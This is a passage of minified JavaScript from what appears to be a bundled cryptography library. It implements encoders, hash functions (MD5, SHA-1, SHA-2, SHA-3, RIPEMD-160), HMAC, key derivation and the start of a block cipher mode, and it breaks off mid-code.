e=this.words,t=this.sigBytes;e[t>>>2]&=4294967295<<32-t%4*8,e.length=d.ceil(t/4)},clone:function e(){var e=o.clone.call(this);return e.words=this.words.slice(0),e},random:function(e){for(var t=[],a=0;a<e;a+=4)t.push(n());return new f.init(t,e)}}),s=r.enc={},l=s.Hex={stringify:function(e){for(var t=e.words,a=e.sigBytes,n=[],r=0;r<a;r++){var i=t[r>>>2]>>>24-r%4*8&255;n.push((i>>>4).toString(16)),n.push((15&i).toString(16))}return n.join("")},parse:function(e){for(var t=e.length,a=[],n=0;n<t;n+=2)a[n>>>3]|=parseInt(e.substr(n,2),16)<<24-n%8*4;return new f.init(a,t/2)}},c=s.Latin1={stringify:function(e){for(var t=e.words,a=e.sigBytes,n=[],r=0;r<a;r++){var i=t[r>>>2]>>>24-r%4*8&255;n.push(String.fromCharCode(i))}return n.join("")},parse:function(e){for(var t=e.length,a=[],n=0;n<t;n++)a[n>>>2]|=(255&e.charCodeAt(n))<<24-n%4*8;return new f.init(a,t)}},p=s.Utf8={stringify:function(e){try{return decodeURIComponent(escape(c.stringify(e)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(e){return c.parse(unescape(encodeURIComponent(e)))}},u=i.BufferedBlockAlgorithm=o.extend({reset:function(){this._data=new f.init,this._nDataBytes=0},_append:function(e){"string"==typeof e&&(e=p.parse(e)),this._data.concat(e),this._nDataBytes+=e.sigBytes},_process:function(e){var t,a=this._data,n=a.words,r=a.sigBytes,i=this.blockSize,o=r/(4*i),s=(o=e?d.ceil(o):d.max((0|o)-this._minBufferSize,0))*i,l=d.min(4*s,r);if(s){for(var c=0;c<s;c+=i)this._doProcessBlock(n,c);t=n.splice(0,s),a.sigBytes-=l}return new f.init(t,l)},clone:function e(){var e=o.clone.call(this);return e._data=this._data.clone(),e},_minBufferSize:0}),g=(i.Hasher=u.extend({cfg:o.extend(),init:function(e){this.cfg=this.cfg.extend(e),this.reset()},reset:function(){u.reset.call(this),this._doReset()},update:function(e){return this._append(e),this._process(),this},finalize:function(e){return e&&this._append(e),this._doFinalize()},blockSize:16,_createHelper:function(a){return function(e,t){return new a.init(t).finalize(e)}},_createHmacHelper:function(a){return function(e,t){return new g.HMAC.init(a,t).finalize(e)}}}),r.algo={});return r}(Math);return d=(t=ve).lib.WordArray,t.enc.Base64={stringify:function(e){var t=e.words,a=e.sigBytes,n=this._map;e.clamp();for(var r=[],i=0;i<a;i+=3)for(var o=(t[i>>>2]>>>24-i%4*8&255)<<16|(t[i+1>>>2]>>>24-(i+1)%4*8&255)<<8|t[i+2>>>2]>>>24-(i+2)%4*8&255,s=0;s<4&&i+.75*s<a;s++)r.push(n.charAt(o>>>6*(3-s)&63));var l=n.charAt(64);if(l)for(;r.length%4;)r.push(l);return r.join("")},parse:function(e){var t=e.length,a=this._map,n=this._reverseMap;if(!n){n=this._reverseMap=[];for(var r=0;r<a.length;r++)n[a.charCodeAt(r)]=r}var i=a.charAt(64);if(i){var o=e.indexOf(i);-1!==o&&(t=o)}return function c(e,t,a){for(var n=[],r=0,i=0;i<t;i++)if(i%4){var o=a[e.charCodeAt(i-1)]<<i%4*2,s=a[e.charCodeAt(i)]>>>6-i%4*2,l=o|s;n[r>>>2]|=l<<24-r%4*8,r++}return d.create(n,r)}(e,t,n)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(d){var e=ve,t=e.lib,a=t.WordArray,n=t.Hasher,r=e.algo,k=[];!function(){for(var e=0;e<64;e++)k[e]=4294967296*d.abs(d.sin(e+1))|0}();var i=r.MD5=n.extend({_doReset:function(){this._hash=new a.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(e,t){for(var a=0;a<16;a++){var n=t+a,r=e[n];e[n]=16711935&(r<<8|r>>>24)|4278255360&(r<<24|r>>>8)}var i=this._hash.words,o=e[t+0],s=e[t+1],l=e[t+2],c=e[t+3],d=e[t+4],f=e[t+5],p=e[t+6],u=e[t+7],g=e[t+8],h=e[t+9],m=e[t+10],v=e[t+11],b=e[t+12],E=e[t+13],_=e[t+14],w=e[t+15],y=i[0],A=i[1],C=i[2],T=i[3];A=x(A=x(A=x(A=x(A=L(A=L(A=L(A=L(A=R(A=R(A=R(A=R(A=S(A=S(A=S(A=S(A,C=S(C,T=S(T,y=S(y,A,C,T,o,7,k[0]),A,C,s,12,k[1]),y,A,l,17,k[2]),T,y,c,22,k[3]),C=S(C,T=S(T,y=S(y,A,C,T,d,7,k[4]),A,C,f,12,k[5]),y,A,p,17,k[6]),T,y,u,22,k[7]),C=S(C,T=S(T,y=S(y,A,C,T,g,7,k[8]),A,C,h,12,k[9]),y,A,m,17,k[10]),T,y,v,22,k[11]),C=S(C,T=S(T,y=S(y,A,C,T,b,7,k[12]),A,C,E,12,k[13]),y,A,_,17,k[14]),T,y,w,22,k[15]),C=R(C,T=R(T,y=R(y,A,C,T,s,5,k[16]),A,C,p,9,k[17]),y,A,v,14,k[18]),T,y,o,20,k[19]),C=R(C,T=R(T,y=R(y,A,C,T,f,5,k[20]),A,C,m,9,k[21]),y,A,w,14,k[22]),T,y,d,20,k[23]),C=R(C,T=R(T,y=R(y,A,C,T,h,5,k[24]),A,C,_,9,k[25]),y,A,c,14,k[26]),T,y,g,20,k[27]),C=R(C,T=R(T,y=R(y,A,C,T,E,5,k[28]),A,C,l,9,k[29]),y,A,u,14,k[30]),T,y,b,20,k[31]),C=L(C,T=L(T,y=L(y,A,C,T,f,4,k[32]),A,C,g,11,k[33]),y,A,v,16,k[34]),T,y,_,23,k[35]),C=L(C,T=L(T,y=L(y,A,C,T,s,4,k[36]),A,C,d,11,k[37]),y,A,u,16,k[38]),T,y,m,23,k[39]),C=L(C,T=L(T,y=L(y,A,C,T,E,4,k[40]),A,C,o,11,k[41]),y,A,c,16,k[42]),T,y,p,23,k[43]),C=L(C,T=L(T,y=L(y,A,C,T,h,4,k[44]),A,C,b,11,k[45]),y,A,w,16,k[46]),T,y,l,23,k[47]),C=x(C,T=x(T,y=x(y,A,C,T,o,6,k[48]),A,C,u,10,k[49]),y,A,_,15,k[50]),T,y,f,21,k[51]),C=x(C,T=x(T,y=x(y,A,C,T,b,6,k[52]),A,C,c,10,k[53]),y,A,m,15,k[54]),T,y,s,21,k[55]),C=x(C,T=x(T,y=x(y,A,C,T,g,6,k[56]),A,C,w,10,k[57]),y,A,p,15,k[58]),T,y,E,21,k[59]),C=x(C,T=x(T,y=x(y,A,C,T,d,6,k[60]),A,C,v,10,k[61]),y,A,l,15,k[62]),T,y,h,21,k[63]),i[0]=i[0]+y|0,i[1]=i[1]+A|0,i[2]=i[2]+C|0,i[3]=i[3]+T|0},_doFinalize:function(){var e=this._data,t=e.words,a=8*this._nDataBytes,n=8*e.sigBytes;t[n>>>5]|=128<<24-n%32;var r=d.floor(a/4294967296),i=a;t[15+(n+64>>>9<<4)]=16711935&(r<<8|r>>>24)|4278255360&(r<<24|r>>>8),t[14+(n+64>>>9<<4)]=16711935&(i<<8|i>>>24)|4278255360&(i<<24|i>>>8),e.sigBytes=4*(t.length+1),this._process();for(var o=this._hash,s=o.words,l=0;l<4;l++){var c=s[l];s[l]=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8)}return o},clone:function e(){var e=n.clone.call(this);return e._hash=this._hash.clone(),e}});function S(e,t,a,n,r,i,o){var s=e+(t&a|~t&n)+r+o;return(s<<i|s>>>32-i)+t}function R(e,t,a,n,r,i,o){var s=e+(t&n|a&~n)+r+o;return(s<<i|s>>>32-i)+t}function L(e,t,a,n,r,i,o){var s=e+(t^a^n)+r+o;return(s<<i|s>>>32-i)+t}function x(e,t,a,n,r,i,o){var s=e+(a^(t|~n))+r+o;return(s<<i|s>>>32-i)+t}e.MD5=n._createHelper(i),e.HmacMD5=n._createHmacHelper(i)}(Math),n=(a=ve).lib,r=n.WordArray,i=n.Hasher,o=a.algo,f=[],s=o.SHA1=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(e,t){for(var a=this._hash.words,n=a[0],r=a[1],i=a[2],o=a[3],s=a[4],l=0;l<80;l++){if(l<16)f[l]=0|e[t+l];else{var c=f[l-3]^f[l-8]^f[l-14]^f[l-16];f[l]=c<<1|c>>>31}var d=(n<<5|n>>>27)+s+f[l];d+=l<20?1518500249+(r&i|~r&o):l<40?1859775393+(r^i^o):l<60?(r&i|r&o|i&o)-1894007588:(r^i^o)-899497514,s=o,o=i,i=r<<30|r>>>2,r=n,n=d}a[0]=a[0]+n|0,a[1]=a[1]+r|0,a[2]=a[2]+i|0,a[3]=a[3]+o|0,a[4]=a[4]+s|0},_doFinalize:function(){var e=this._data,t=e.words,a=8*this._nDataBytes,n=8*e.sigBytes;return t[n>>>5]|=128<<24-n%32,t[14+(n+64>>>9<<4)]=Math.floor(a/4294967296),t[15+(n+64>>>9<<4)]=a,e.sigBytes=4*t.length,this._process(),this._hash},clone:function e(){var e=i.clone.call(this);return e._hash=this._hash.clone(),e}}),a.SHA1=i._createHelper(s),a.HmacSHA1=i._createHmacHelper(s),function(r){var e=ve,t=e.lib,a=t.WordArray,n=t.Hasher,i=e.algo,o=[],E=[];!function(){function e(e){for(var t=r.sqrt(e),a=2;a<=t;a++)if(!(e%a))return!1;return!0}function t(e){return 4294967296*(e-(0|e))|0}for(var a=2,n=0;n<64;)e(a)&&(n<8&&(o[n]=t(r.pow(a,.5))),E[n]=t(r.pow(a,1/3)),n++),a++}();var _=[],s=i.SHA256=n.extend({_doReset:function(){this._hash=new a.init(o.slice(0))},_doProcessBlock:function(e,t){for(var a=this._hash.words,n=a[0],r=a[1],i=a[2],o=a[3],s=a[4],l=a[5],c=a[6],d=a[7],f=0;f<64;f++){if(f<16)_[f]=0|e[t+f];else{var p=_[f-15],u=(p<<25|p>>>7)^(p<<14|p>>>18)^p>>>3,g=_[f-2],h=(g<<15|g>>>17)^(g<<13|g>>>19)^g>>>10;_[f]=u+_[f-7]+h+_[f-16]}var m=n&r^n&i^r&i,v=(n<<30|n>>>2)^(n<<19|n>>>13)^(n<<10|n>>>22),b=d+((s<<26|s>>>6)^(s<<21|s>>>11)^(s<<7|s>>>25))+(s&l^~s&c)+E[f]+_[f];d=c,c=l,l=s,s=o+b|0,o=i,i=r,r=n,n=b+(v+m)|0}a[0]=a[0]+n|0,a[1]=a[1]+r|0,a[2]=a[2]+i|0,a[3]=a[3]+o|0,a[4]=a[4]+s|0,a[5]=a[5]+l|0,a[6]=a[6]+c|0,a[7]=a[7]+d|0},_doFinalize:function(){var e=this._data,t=e.words,a=8*this._nDataBytes,n=8*e.sigBytes;return t[n>>>5]|=128<<24-n%32,t[14+(n+64>>>9<<4)]=r.floor(a/4294967296),t[15+(n+64>>>9<<4)]=a,e.sigBytes=4*t.length,this._process(),this._hash},clone:function e(){var e=n.clone.call(this);return e._hash=this._hash.clone(),e}});e.SHA256=n._createHelper(s),e.HmacSHA256=n._createHmacHelper(s)}(Math),function(){var e=ve,r=e.lib.WordArray,t=e.enc;t.Utf16=t.Utf16BE={stringify:function(e){for(var t=e.words,a=e.sigBytes,n=[],r=0;r<a;r+=2){var i=t[r>>>2]>>>16-r%4*8&65535;n.push(String.fromCharCode(i))}return n.join("")},parse:function(e){for(var t=e.length,a=[],n=0;n<t;n++)a[n>>>1]|=e.charCodeAt(n)<<16-n%2*16;return r.create(a,2*t)}};function o(e){return e<<8&4278255360|e>>>8&16711935}t.Utf16LE={stringify:function(e){for(var t=e.words,a=e.sigBytes,n=[],r=0;r<a;r+=2){var i=o(t[r>>>2]>>>16-r%4*8&65535);n.push(String.fromCharCode(i))}return n.join("")},parse:function(e){for(var t=e.length,a=[],n=0;n<t;n++)a[n>>>1]|=o(e.charCodeAt(n)<<16-n%2*16);return r.create(a,2*t)}}}(),function(){if("function"==typeof ArrayBuffer){var e=ve.lib.WordArray,r=e.init;(e.init=function(e){if(e instanceof ArrayBuffer&&(e=new Uint8Array(e)),(e instanceof Int8Array||"undefined"!=typeof Uint8ClampedArray&&e instanceof Uint8ClampedArray||e instanceof Int16Array||e instanceof Uint16Array||e instanceof Int32Array||e instanceof Uint32Array||e instanceof Float32Array||e instanceof Float64Array)&&(e=new Uint8Array(e.buffer,e.byteOffset,e.byteLength)),e instanceof Uint8Array){for(var t=e.byteLength,a=[],n=0;n<t;n++)a[n>>>2]|=e[n]<<24-n%4*8;r.call(this,a,t)}else r.apply(this,arguments)}).prototype=e}}(),function(e){var t=ve,a=t.lib,n=a.WordArray,r=a.Hasher,i=t.algo,A=n.create([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11,5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13]),C=n.create([5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11]),T=n.create([11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6]),k=n.create([8,9,9,11,13,15,15,5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11]),S=n.create([0,1518500249,1859775393,2400959708,2840853838]),R=n.create([1352829926,1548603684,1836072691,2053994217,0]),o=i.RIPEMD160=r.extend({_doReset:function(){this._hash=n.create([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(e,t){for(var a=0;a<16;a++){var n=t+a,r=e[n];e[n]=16711935&(r<<8|r>>>24)|4278255360&(r<<24|r>>>8)}var i,o,s,l,c,d,f,p,u,g,h,m=this._hash.words,v=S.words,b=R.words,E=A.words,_=C.words,w=T.words,y=k.words;d=i=m[0],f=o=m[1],p=s=m[2],u=l=m[3],g=c=m[4];for(a=0;a<80;a+=1)h=i+e[t+E[a]]|0,h+=a<16?L(o,s,l)+v[0]:a<32?x(o,s,l)+v[1]:a<48?I(o,s,l)+v[2]:a<64?O(o,s,l)+v[3]:F(o,s,l)+v[4],h=(h=M(h|=0,w[a]))+c|0,i=c,c=l,l=M(s,10),s=o,o=h,h=d+e[t+_[a]]|0,h+=a<16?F(f,p,u)+b[0]:a<32?O(f,p,u)+b[1]:a<48?I(f,p,u)+b[2]:a<64?x(f,p,u)+b[3]:L(f,p,u)+b[4],h=(h=M(h|=0,y[a]))+g|0,d=g,g=u,u=M(p,10),p=f,f=h;h=m[1]+s+u|0,m[1]=m[2]+l+g|0,m[2]=m[3]+c+d|0,m[3]=m[4]+i+f|0,m[4]=m[0]+o+p|0,m[0]=h},_doFinalize:function(){var e=this._data,t=e.words,a=8*this._nDataBytes,n=8*e.sigBytes;t[n>>>5]|=128<<24-n%32,t[14+(n+64>>>9<<4)]=16711935&(a<<8|a>>>24)|4278255360&(a<<24|a>>>8),e.sigBytes=4*(t.length+1),this._process();for(var r=this._hash,i=r.words,o=0;o<5;o++){var s=i[o];i[o]=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8)}return r},clone:function e(){var e=r.clone.call(this);return e._hash=this._hash.clone(),e}});function L(e,t,a){return e^t^a}function x(e,t,a){return e&t|~e&a}function I(e,t,a){return(e|~t)^a}function O(e,t,a){return e&a|t&~a}function F(e,t,a){return e^(t|~a)}function M(e,t){return e<<t|e>>>32-t}t.RIPEMD160=r._createHelper(o),t.HmacRIPEMD160=r._createHmacHelper(o)}(Math),c=(l=ve).lib.Base,p=l.enc.Utf8,l.algo.HMAC=c.extend({init:function(e,t){e=this._hasher=new e.init,"string"==typeof t&&(t=p.parse(t));var a=e.blockSize,n=4*a;t.sigBytes>n&&(t=e.finalize(t)),t.clamp();for(var r=this._oKey=t.clone(),i=this._iKey=t.clone(),o=r.words,s=i.words,l=0;l<a;l++)o[l]^=1549556828,s[l]^=909522486;r.sigBytes=i.sigBytes=n,this.reset()},reset:function(){var e=this._hasher;e.reset(),e.update(this._iKey)},update:function(e){return this._hasher.update(e),this},finalize:function(e){var t=this._hasher,a=t.finalize(e);return t.reset(),t.finalize(this._oKey.clone().concat(a))}}),g=(u=ve).lib,h=g.Base,v=g.WordArray,m=u.algo,b=m.SHA1,E=m.HMAC,_=m.PBKDF2=h.extend({cfg:h.extend({keySize:4,hasher:b,iterations:1}),init:function(e){this.cfg=this.cfg.extend(e)},compute:function(e,t){for(var a=this.cfg,n=E.create(a.hasher,e),r=v.create(),i=v.create([1]),o=r.words,s=i.words,l=a.keySize,c=a.iterations;o.length<l;){var d=n.update(t).finalize(i);n.reset();for(var f=d.words,p=f.length,u=d,g=1;g<c;g++){u=n.finalize(u),n.reset();for(var h=u.words,m=0;m<p;m++)f[m]^=h[m]}r.concat(d),s[0]++}return r.sigBytes=4*l,r}}),u.PBKDF2=function(e,t,a){return _.create(a).compute(e,t)},y=(w=ve).lib,A=y.Base,C=y.WordArray,T=w.algo,k=T.MD5,S=T.EvpKDF=A.extend({cfg:A.extend({keySize:4,hasher:k,iterations:1}),init:function(e){this.cfg=this.cfg.extend(e)},compute:function(e,t){for(var a,n=this.cfg,r=n.hasher.create(),i=C.create(),o=i.words,s=n.keySize,l=n.iterations;o.length<s;){a&&r.update(a),a=r.update(e).finalize(t),r.reset();for(var c=1;c<l;c++)a=r.finalize(a),r.reset();i.concat(a)}return i.sigBytes=4*s,i}}),w.EvpKDF=function(e,t,a){return S.create(a).compute(e,t)},L=(R=ve).lib.WordArray,x=R.algo,I=x.SHA256,O=x.SHA224=I.extend({_doReset:function(){this._hash=new L.init([3238371032,914150663,812702999,4144912697,4290775857,1750603025,1694076839,3204075428])},_doFinalize:function(){var e=I._doFinalize.call(this);return e.sigBytes-=4,e}}),R.SHA224=I._createHelper(O),R.HmacSHA224=I._createHmacHelper(O),M=(F=ve).lib,D=M.Base,N=M.WordArray,(P=F.x64={}).Word=D.extend({init:function(e,t){this.high=e,this.low=t}}),P.WordArray=D.extend({init:function(e,t){e=this.words=e||[],this.sigBytes=null!=t?t:8*e.length},toX32:function(){for(var e=this.words,t=e.length,a=[],n=0;n<t;n++){var r=e[n];a.push(r.high),a.push(r.low)}return N.create(a,this.sigBytes)},clone:function e(){for(var e=D.clone.call(this),t=e.words=this.words.slice(0),a=t.length,n=0;n<a;n++)t[n]=t[n].clone();return e}}),function(p){var e=ve,t=e.lib,u=t.WordArray,n=t.Hasher,d=e.x64.Word,a=e.algo,L=[],x=[],I=[];!function(){for(var e=1,t=0,a=0;a<24;a++){L[e+5*t]=(a+1)*(a+2)/2%64;var n=(2*e+3*t)%5;e=t%5,t=n}for(e=0;e<5;e++)for(t=0;t<5;t++)x[e+5*t]=t+(2*e+3*t)%5*5;for(var r=1,i=0;i<24;i++){for(var o=0,s=0,l=0;l<7;l++){if(1&r){var c=(1<<l)-1;c<32?s^=1<<c:o^=1<<c-32}128&r?r=r<<1^113:r<<=1}I[i]=d.create(o,s)}}();var O=[];!function(){for(var e=0;e<25;e++)O[e]=d.create()}();var r=a.SHA3=n.extend({cfg:n.cfg.extend({outputLength:512}),_doReset:function(){for(var e=this._state=[],t=0;t<25;t++)e[t]=new d.init;this.blockSize=(1600-2*this.cfg.outputLength)/32},_doProcessBlock:function(e,t){for(var a=this._state,n=this.blockSize/2,r=0;r<n;r++){var i=e[t+2*r],o=e[t+2*r+1];i=16711935&(i<<8|i>>>24)|4278255360&(i<<24|i>>>8),o=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8),(C=a[r]).high^=o,C.low^=i}for(var s=0;s<24;s++){for(var l=0;l<5;l++){for(var c=0,d=0,f=0;f<5;f++){c^=(C=a[l+5*f]).high,d^=C.low}var p=O[l];p.high=c,p.low=d}for(l=0;l<5;l++){var u=O[(l+4)%5],g=O[(l+1)%5],h=g.high,m=g.low;for(c=u.high^(h<<1|m>>>31),d=u.low^(m<<1|h>>>31),f=0;f<5;f++){(C=a[l+5*f]).high^=c,C.low^=d}}for(var v=1;v<25;v++){var b=(C=a[v]).high,E=C.low,_=L[v];d=_<32?(c=b<<_|E>>>32-_,E<<_|b>>>32-_):(c=E<<_-32|b>>>64-_,b<<_-32|E>>>64-_);var w=O[x[v]];w.high=c,w.low=d}var y=O[0],A=a[0];y.high=A.high,y.low=A.low;for(l=0;l<5;l++)for(f=0;f<5;f++){var C=a[v=l+5*f],T=O[v],k=O[(l+1)%5+5*f],S=O[(l+2)%5+5*f];C.high=T.high^~k.high&S.high,C.low=T.low^~k.low&S.low}C=a[0];var R=I[s];C.high^=R.high,C.low^=R.low}},_doFinalize:function(){var e=this._data,t=e.words,a=(this._nDataBytes,8*e.sigBytes),n=32*this.blockSize;t[a>>>5]|=1<<24-a%32,t[(p.ceil((a+1)/n)*n>>>5)-1]|=128,e.sigBytes=4*t.length,this._process();for(var r=this._state,i=this.cfg.outputLength/8,o=i/8,s=[],l=0;l<o;l++){var c=r[l],d=c.high,f=c.low;d=16711935&(d<<8|d>>>24)|4278255360&(d<<24|d>>>8),f=16711935&(f<<8|f>>>24)|4278255360&(f<<24|f>>>8),s.push(f),s.push(d)}return new u.init(s,i)},clone:function e(){for(var e=n.clone.call(this),t=e._state=this._state.slice(0),a=0;a<25;a++)t[a]=t[a].clone();return e}});e.SHA3=n._createHelper(r),e.HmacSHA3=n._createHmacHelper(r)}(Math),function(){var e=ve,t=e.lib.Hasher,a=e.x64,n=a.Word,r=a.WordArray,i=e.algo;function o(){return n.create.apply(n,arguments)}var Ae=[o(1116352408,3609767458),o(1899447441,602891725),o(3049323471,3964484399),o(3921009573,2173295548),o(961987163,4081628472),o(1508970993,3053834265),o(2453635748,2937671579),o(2870763221,3664609560),o(3624381080,2734883394),o(310598401,1164996542),o(607225278,1323610764),o(1426881987,3590304994),o(1925078388,4068182383),o(2162078206,991336113),o(2614888103,633803317),o(3248222580,3479774868),o(3835390401,2666613458),o(4022224774,944711139),o(264347078,2341262773),o(604807628,2007800933),o(770255983,1495990901),o(1249150122,1856431235),o(1555081692,3175218132),o(1996064986,2198950837),o(2554220882,3999719339),o(2821834349,766784016),o(2952996808,2566594879),o(3210313671,3203337956),o(3336571891,1034457026),o(3584528711,2466948901),o(113926993,3758326383),o(338241895,168717936),o(666307205,1188179964),o(773529912,1546045734),o(1294757372,1522805485),o(1396182291,2643833823),o(1695183700,2343527390),o(1986661051,1014477480),o(2177026350,1206759142),o(2456956037,344077627),o(2730485921,1290863460),o(2820302411,3158454273),o(3259730800,3505952657),o(3345764771,106217008),o(3516065817,3606008344),o(3600352804,1432725776),o(4094571909,1467031594),o(275423344,851169720),o(430227734,3100823752),o(506948616,1363258195),o(659060556,3750685593),o(883997877,3785050280),o(958139571,3318307427),o(1322822218,3812723403),o(1537002063,2003034995),o(1747873779,3602036899),o(1955562222,1575990012),o(2024104815,1125592928),o(2227730452,2716904306),o(2361852424,442776044),o(2428436474,593698344),o(2756734187,3733110249),o(3204031479,2999351573),o(3329325298,3815920427),o(3391569614,3928383900),o(3515267271,566280711),o(3940187606,3454069534),o(4118630271,4000239992),o(116418474,1914138554),o(174292421,2731055270),o(289380356,3203993006),o(460393269,320620315),o(685471733,587496836),o(852142971,1086792851),o(1017036298,365543100),o(1126000580,2618297676),o(1288033470,3409855158),o(1501505948,4234509866),o(1607167915,987167468),o(1816402316,1246189591)],Ce=[];!function(){for(var e=0;e<80;e++)Ce[e]=o()}();var s=i.SHA512=t.extend({_doReset:function(){this._hash=new r.init([new n.init(1779033703,4089235720),new n.init(3144134277,2227873595),new n.init(1013904242,4271175723),new n.init(2773480762,1595750129),new n.init(1359893119,2917565137),new n.init(2600822924,725511199),new n.init(528734635,4215389547),new n.init(1541459225,327033209)])},_doProcessBlock:function(e,t){for(var a=this._hash.words,n=a[0],r=a[1],i=a[2],o=a[3],s=a[4],l=a[5],c=a[6],d=a[7],f=n.high,p=n.low,u=r.high,g=r.low,h=i.high,m=i.low,v=o.high,b=o.low,E=s.high,_=s.low,w=l.high,y=l.low,A=c.high,C=c.low,T=d.high,k=d.low,S=f,R=p,L=u,x=g,I=h,O=m,F=v,M=b,D=E,N=_,P=w,B=y,U=A,H=C,$=T,z=k,K=0;K<80;K++){var W,G,V=Ce[K];if(K<16)G=V.high=0|e[t+2*K],W=V.low=0|e[t+2*K+1];else{var Y=Ce[K-15],j=Y.high,q=Y.low,X=(j>>>1|q<<31)^(j>>>8|q<<24)^j>>>7,Z=(q>>>1|j<<31)^(q>>>8|j<<24)^(q>>>7|j<<25),Q=Ce[K-2],J=Q.high,ee=Q.low,te=(J>>>19|ee<<13)^(J<<3|ee>>>29)^J>>>6,ae=(ee>>>19|J<<13)^(ee<<3|J>>>29)^(ee>>>6|J<<26),ne=Ce[K-7],re=ne.high,ie=ne.low,oe=Ce[K-16],se=oe.high,le=oe.low;G=(G=(G=X+re+((W=Z+ie)>>>0<Z>>>0?1:0))+te+((W+=ae)>>>0<ae>>>0?1:0))+se+((W+=le)>>>0<le>>>0?1:0),V.high=G,V.low=W}var ce,de=D&P^~D&U,fe=N&B^~N&H,pe=S&L^S&I^L&I,ue=R&x^R&O^x&O,ge=(S>>>28|R<<4)^(S<<30|R>>>2)^(S<<25|R>>>7),he=(R>>>28|S<<4)^(R<<30|S>>>2)^(R<<25|S>>>7),me=(D>>>14|N<<18)^(D>>>18|N<<14)^(D<<23|N>>>9),ve=(N>>>14|D<<18)^(N>>>18|D<<14)^(N<<23|D>>>9),be=Ae[K],Ee=be.high,_e=be.low,we=$+me+((ce=z+ve)>>>0<z>>>0?1:0),ye=he+ue;$=U,z=H,U=P,H=B,P=D,B=N,D=F+(we=(we=(we=we+de+((ce=ce+fe)>>>0<fe>>>0?1:0))+Ee+((ce=ce+_e)>>>0<_e>>>0?1:0))+G+((ce=ce+W)>>>0<W>>>0?1:0))+((N=M+ce|0)>>>0<M>>>0?1:0)|0,F=I,M=O,I=L,O=x,L=S,x=R,S=we+(ge+pe+(ye>>>0<he>>>0?1:0))+((R=ce+ye|0)>>>0<ce>>>0?1:0)|0}p=n.low=p+R,n.high=f+S+(p>>>0<R>>>0?1:0),g=r.low=g+x,r.high=u+L+(g>>>0<x>>>0?1:0),m=i.low=m+O,i.high=h+I+(m>>>0<O>>>0?1:0),b=o.low=b+M,o.high=v+F+(b>>>0<M>>>0?1:0),_=s.low=_+N,s.high=E+D+(_>>>0<N>>>0?1:0),y=l.low=y+B,l.high=w+P+(y>>>0<B>>>0?1:0),C=c.low=C+H,c.high=A+U+(C>>>0<H>>>0?1:0),k=d.low=k+z,d.high=T+$+(k>>>0<z>>>0?1:0)},_doFinalize:function(){var e=this._data,t=e.words,a=8*this._nDataBytes,n=8*e.sigBytes;return t[n>>>5]|=128<<24-n%32,t[30+(n+128>>>10<<5)]=Math.floor(a/4294967296),t[31+(n+128>>>10<<5)]=a,e.sigBytes=4*t.length,this._process(),this._hash.toX32()},clone:function e(){var e=t.clone.call(this);return e._hash=this._hash.clone(),e},blockSize:32});e.SHA512=t._createHelper(s),e.HmacSHA512=t._createHmacHelper(s)}(),U=(B=ve).x64,H=U.Word,$=U.WordArray,z=B.algo,K=z.SHA512,W=z.SHA384=K.extend({_doReset:function(){this._hash=new $.init([new H.init(3418070365,3238371032),new H.init(1654270250,914150663),new H.init(2438529370,812702999),new H.init(355462360,4144912697),new H.init(1731405415,4290775857),new H.init(2394180231,1750603025),new H.init(3675008525,1694076839),new H.init(1203062813,3204075428)])},_doFinalize:function(){var e=K._doFinalize.call(this);return e.sigBytes-=16,e}}),B.SHA384=K._createHelper(W),B.HmacSHA384=K._createHmacHelper(W),ve.lib.Cipher||(V=(G=ve).lib,Y=V.Base,j=V.WordArray,q=V.BufferedBlockAlgorithm,(X=G.enc).Utf8,Z=X.Base64,Q=G.algo.EvpKDF,J=V.Cipher=q.extend({cfg:Y.extend(),createEncryptor:function(e,t){return this.create(this._ENC_XFORM_MODE,e,t)},createDecryptor:function(e,t){return this.create(this._DEC_XFORM_MODE,e,t)},init:function(e,t,a){this.cfg=this.cfg.extend(a),this._xformMode=e,this._key=t,this.reset()},reset:function(){q.reset.call(this),this._doReset()},process:function(e){return this._append(e),this._process()},finalize:function(e){return e&&this._append(e),this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(){function r(e){return"string"==typeof e?le:oe}return function(n){return{encrypt:function(e,t,a){return r(t).encrypt(n,e,t,a)},decrypt:function(e,t,a){return r(t).decrypt(n,e,t,a)}}}}()}),V.StreamCipher=J.extend({_doFinalize:function(){return this._process(!0)},blockSize:1}),ee=G.mode={},te=V.BlockCipherMode=Y.extend({createEncryptor:function(e,t){return this.Encryptor.create(e,t)},createDecryptor:function(e,t){return this.Decryptor.create(e,t)},init:function(e,t){this._cipher=e,this._iv=t}}),ae=ee.CBC=function(){var e=te.extend();function i(e,t,a){var n,r=this._iv;r?(n=r,this._iv=void 0):n=this._prevBlock;for(var i=0;i<a;i++)e[t+i]^=n[i]}return e.Encryptor=e.extend({processBlock:function(e,t){var 